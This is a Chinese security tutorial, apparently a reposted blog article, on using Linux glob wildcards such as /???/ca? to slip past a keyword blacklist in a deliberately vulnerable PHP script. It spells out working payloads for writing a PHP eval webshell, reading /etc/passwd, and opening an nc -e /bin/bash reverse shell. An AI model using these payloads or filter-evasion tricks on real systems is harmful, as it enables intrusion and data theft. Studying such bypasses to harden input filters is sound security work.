安全杂谈——linux通配符绕过文件名黑名单

原创: hl0rey 安全初心 5月27日

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的 /etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。注:shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

目录

  • 原理介绍
  • 测试代码
  • 几个小例子
    • 写入webshell
    • 读取/etc/passwd文件
    • nc反弹shell
  • 总结与思考

一. 原理介绍

linux shell下可以通过正则匹配来匹配相应的程序并且执行。 在linux下输入man 7 glob命令可以查看相关的内容。值得注意的就这些,学过正则的一下就懂了。 完整翻译

https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html

语法

专用字符集

根据介绍,假设我们要执行ls命令,那么就有如下几种变形方式:

/???/[l]s
/???/[:alnum:]s
/???/[:lower:]s

二. 测试代码

假设碰到了一个目标系统为linux,且php的代码执行漏洞,但是有相应的过滤,测试代码如下:

<?php
$cmd=$_REQUEST['cmd'];
echo 'cmd is:'.$cmd.'<br>';
if(preg_match('/echo|cat|ls|nc/is',$cmd)){
die('you bad bad.');
}
system($cmd);
?>

2.1 几个小例子

通晓原理之后可以随意变形,这里只给出几个小例子。

2.1.1 写入webshell

原本的payload

cmd=/bin/echo "<?php eval($_POST['cmd'])?>" > 1.php

变形后的payload:

cmd=/???/e??? "<?php eval($_POST['cmd'])?>" > 1.php

双引号内没有内容是因为尖括号内的内容被当作xml代码解析了,查看网页源代码即可看到原本的内容。

2.1.2 读取/etc/passwd文件

原本的payload:

cmd=/bin/cat /etc/passwd

变形后的payload:

cmd=/???/ca? /etc/passwd
或者
cmd=/???/ca? /etc/pass??
再或者
cmd=/???/ca? /???/p?????

2.1.3 nc反弹shell

这个地方加大一下难度,把测试代码改为(把点也过滤掉):

<?php
$cmd=$_REQUEST['cmd'];
echo 'cmd is:'.$cmd.'<br>';
if(preg_match('/echo|cat|ls|nc|\./is',$cmd)){
die('you bad bad.');
}
system($cmd);
?>

nc.traditional是nc的原始版本有-e参数。由于过滤了点,所以我们不能在ip地址里出现点,所以我们要把ip转换一下。随便找个在线转换的网站,当然你口算也可以。

http://ip.chacuo.net/ipcalc

点分十进制转十进制 原本的payload:

nc.traditional 127.0.0.1 4444 &

先开启一个监听

变形后的payload :

/???/?c???????????? -e /???/b??h 2130706433 4444 &

运行一下:

正常执行命令:

三. 总结与思考

  1. linux下执行命令都能用正则,真是太方便了,果然linux比windows好用。 2.在执行命令的时候面目全非的命令都能执行也是很强大。 3.windows下在做目录搜索的时候也能用通配符,但是不如linux下的这么有趣,所以还是linux系统好啊。 4.值得一提的是,当一个正则匹配多个程序的时候,linux会把每个匹配的程序都执行一遍,这个是利是弊就看你怎么利用了。 ------------------------------------------------- 本文转载自订阅号“安全初心”

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2018-06-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户画像

3.1.4.2 基本分段存储方式

分页管理方式是从计算机的角度考虑设计的,以提高内存的利用率,提高计算机的性能,提升计算机的性能,且分页通过硬件机制实现 ,对用户完全透明;

12520
来自专栏北京马哥教育

案例+解读,来自有道大神的17个常用Linux命令深度解析

命令后带(Mac)标记的,表示该命令在Mac OSX下测试,其它的在Debian下测试。 1. grep命令 文本查找命令, 能够使用正则表达式的方式搜索文本...

34050
来自专栏地方网络工作室的专栏

Shell 命令行,生成当前文件夹目录索引 index.html 文件

Shell 命令行,生成当前文件夹目录索引 index.html 文件 做了一些原型图放在 git 上面,在服务器配置好自动拉取 git 中的文件,并配置一个 ...

28690
来自专栏腾讯Bugly的专栏

Android 混淆那些事儿

本文主要讲述了代码混淆和资源混淆的原理,Studio默认的混淆方案,混淆的参数,以及如何对Apk进行代码混淆(自定义混淆文件)和资源混淆(结合微信混淆和美团混淆...

97450
来自专栏草根专栏

用ASP.NET Core 2.0 建立规范的 REST API -- GET 和 POST

本文所需的一些预备知识可以看这里: http://www.cnblogs.com/cgzl/p/9010978.html 和 http://www.cnblog...

14610
来自专栏王小雷

Python之pandas数据加载、存储

Python之pandas数据加载、存储 0. 输入与输出大致可分为三类: 0.1 读取文本文件和其他更好效的磁盘存储格式 2.2 使用数据库中的数据 0.3 ...

25670
来自专栏C/C++基础

Linux命令(25)——cp命令

cp命令主要用于复制文件或目录,可以将一个或多个源文件或者目录复制到指定的目的文件或目录,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现...

15720
来自专栏Java技术栈

多线程 Thread.yield 方法到底有什么用?

我们知道 start() 方法是启动线程,让线程变成就绪状态等待 CPU 调度后执行。

11130
来自专栏vue学习

33、vuex初探(一)

看完以后应该是有点懵逼的,所以这就是这篇文章存在的意义了:就是让你不那么懵逼;总归理论与实践相结合才能真正弄明白一个东西,所以我们简单实践一下。

17060
来自专栏决胜机器学习

数据库专题(五) ——Memcached技术

数据库专题(五)——Memcached技术 (原创内容,转载请注明来源,谢谢) 一、Slab分配算法保存数据 Memcached默认只能用1M...

28450

扫码关注云+社区

领取腾讯云代金券